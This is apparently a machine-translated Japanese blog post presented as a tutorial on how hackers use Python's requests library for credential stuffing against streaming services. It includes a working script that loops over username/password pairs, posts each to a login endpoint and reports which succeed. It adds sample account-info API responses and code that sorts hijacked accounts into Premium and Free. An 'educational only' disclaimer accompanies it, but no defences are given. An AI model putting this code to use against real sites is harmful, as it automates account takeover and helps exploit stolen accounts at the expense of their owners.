Credential Stuffing 101: ハッカーが Python リクエストを使用してアカウントをハッキングする方法

Jan 16 2023
テクノロジーの領域では、企業はサイバー犯罪者の邪悪な活動の餌食になるリスクに常にさらされています。驚くほど頻繁になっているそのような戦術の 1 つは、Credential Stuffing です。
ソース: https://www.mediapost.com/publications/article/355089/ctv-gains-stronger-foothold-in-subscription-servic.html

テクノロジーの領域では、企業はサイバー犯罪者の邪悪な活動の餌食になるリスクに常にさらされています。驚くほど頻繁になっているそのような戦術の 1 つは、Credential Stuffing です。この邪悪な戦術には、ハッカーが自動化されたツールを使用して、さまざまなオンライン プラットフォームで膨大な数のユーザー名とパスワードの組み合わせを試行し、不正なアクセスを取得することが含まれます。この形態のサイバー犯罪は、Netflix、Hulu、Spotify など、最も有名なストリーミング企業のいくつかを標的にしています。

たとえば、人気のストリーミング サービスである Netflix では、ここ数年で Credential Stuffing 攻撃が増加しています。同社は、ユーザーの個人情報を保護し、不正アクセスを防止するために、厳格なセキュリティ対策を実施する必要がありました。ただし、これらの努力にもかかわらず、ハッカーはこれらの手段を回避してプラットフォームにアクセスする新しい方法を見つけ続けています. この記事では、Credential Stuffing に関連するプロセスと方法論について詳しく説明します。

Credential Stuffing 攻撃の概念を正確に理解するには、HTTP リクエストについて十分に理解することが重要です。これらは、Web ブラウザーなどのクライアントからサーバーに送信され、情報の取得または送信を要求する単純なメッセージです。HTTP リクエストにはさまざまな種類があり、それぞれに特定の目的があります。ユーザーが HTTP 要求を Web サーバーに送信すると、サーバーは HTML や JSON などのデータで応答し、ユーザーのデバイスでレンダリングされます。Python の Requests モジュールの助けを借りて、これらの HTTP リクエストを操作および分析して、クレデンシャル スタッフィング攻撃の危険性をよりよく理解することができます。

Python の requests モジュールは開発者の親友であり、わずか数行のコードで HTTP 要求の世界を簡単にナビゲートできます。Web サイトからデータを抽出したり、API を操作したり、単にファイルをダウンロードしたりする場合でも、要求モジュールが対応します。その際立った機能の 1 つは、その単純なアプローチです。簡単なコマンドをいくつか実行するだけで、GET、POST、PUT、DELETE、HEAD、OPTIONS、PATCH などのさまざまな HTTP リクエストにアクセスできます。さらに、リダイレクトの処理、エラーへの対処、タイムアウトの設定、プロキシの操作、SSL 証明書の管理などの追加の利点を提供します. Python requests モジュールを使用すると、あらゆるプロジェクトに取り組むために必要なものがすべて揃っています。

たとえば、Web サイトのホームページをダウンロードするには、次のコードを使用できます。

import requests

response = requests.get("https://www.example.com")
print(response.text)

ソース: https://www.comparitech.com/blog/information-security/credential-stuffing-attacks/

Credential Stuffing は、侵害されたユーザー名とパスワードの組み合わせのリストを悪用して、膨大な数のアカウントへの不正アクセスを得るためにサイバー犯罪者が利用する悪意のある手法です。これらのリストは、Web サイトへの SQL インジェクション攻撃、ダーク Web トランザクション、データ侵害など、さまざまな手段で取得されます。

この目的を達成できる方法の 1 つは、Python の Requests モジュールなどのツールを使用して、対象の Web サイトにログイン要求を送信するプロセスを自動化することです。攻撃者はまず、侵害された資格情報のリストを取得します。これは、多くの場合、データ侵害、フィッシング詐欺、またはソーシャル エンジニアリングの戦術によって取得されます。次に、Requests モジュールを使用して標的の Web サイトにログイン要求を送信する Python スクリプトを作成し、侵害された資格情報のリストにあるユーザー名とパスワードのペアを使用します。

このスクリプトは、資格情報のリストを反復処理し、資格情報のペアごとにログイン要求を送信し、応答を検証して、ログインが成功したか失敗したかを判断します。ログインに成功した場合、攻撃者は無断でアカウントへのアクセス権を取得したことになります。

Requests モジュールを使用して Python でこれを行う方法の例は次のとおりです。

#importing the requests module
import requests

#user credentials
credentials = [
    {"username": "user1", "password": "password1"},
    {"username": "user2", "password": "password2"},
    {"username": "user3", "password": "password3"}
]

#looping each pair of credentials and performing the request to the target website
for cred in credentials:
    session = requests.Session()
    login_data = {"username": cred["username"], "password": cred["password"]}
    login_response = session.post("https://example.com/login", data=login_data)
  
  #checking successful/failure response or login attempt
    if login_response.status_code == 200:
        print(f"Successful login with {cred['username']}:{cred['password']}")
    else:
        print(f"Failed login with {cred['username']}:{cred['password']}")

注: 上記のスクリプトを違法行為に使用することはお勧めしません。これは教育目的のみです。

これは、Python、JavaScript、C# などのさまざまなプログラミング言語を使用して、その言語に固有のライブラリとモジュールを利用することで実行できます。例えば、

  • Python では、「requests」ライブラリを使用して Web サイトのログイン ページへの HTTP リクエストを作成し、「beautifulsoup4」ライブラリを使用してログイン フォームなどの特定の要素の HTML 応答を解析できます。
  • JavaScript は、「axios」や「cheerio」などのライブラリを使用して、ログイン リクエストと HTML 解析を自動化するためにも使用できます。
  • 同様に、C# を使用して、HttpWebRequest を使用してログイン要求を自動化し、HTMLAgilityPack で HTML を解析できます。

API がどのように見えるかの例:

"https://www.example.com/subscriptionInfo"
"https://www.example.com/userInfo"
"https://www.example.com/devicesDetails"

Web サイトの API サブスクリプションのアクセス トークンに対する JSON 応答データの例は、次のようになります。

{
  "access_token": "abcd12345678",
  "expires_in": 3600,
  "token_type": "Bearer",
  "refresh_token": "ijkl9101mno2132"
}

{
  "subscription_id": "12345",
  "plan_name": "Premium",
  "start_date": "2022-01-01",
  "end_date": "2023-01-01",
  "price": "$9.99/month",
	"renewal":"true",
  "payment_method": "credit card",
  "billing_address": {
    "name": "John Smith",
    "address_line1": "123 Main St.",
    "city": "New York",
    "state": "NY",
    "zip": "10001",
    "country": "USA",
  },
  "devices": [
    { "device_name": "iPhone", "device_id": "A1B2C3" },
    { "device_name": "iPad", "device_id": "D4E5F6" }
  ]
}

たとえば、次のコードを使用して無料アカウントとプレミアム アカウントを除外できます。

import json
data = json.loads(response.text)
if data['plan_name'] == "Premium":
    print("Premium account found: ", data['subscription_id'])
elif data['plan_name'] == "Free":
    print("Free account found: ", data['subscription_id'])

© Copyright 2021 - 2023 | hachiwiki.com | All Rights Reserved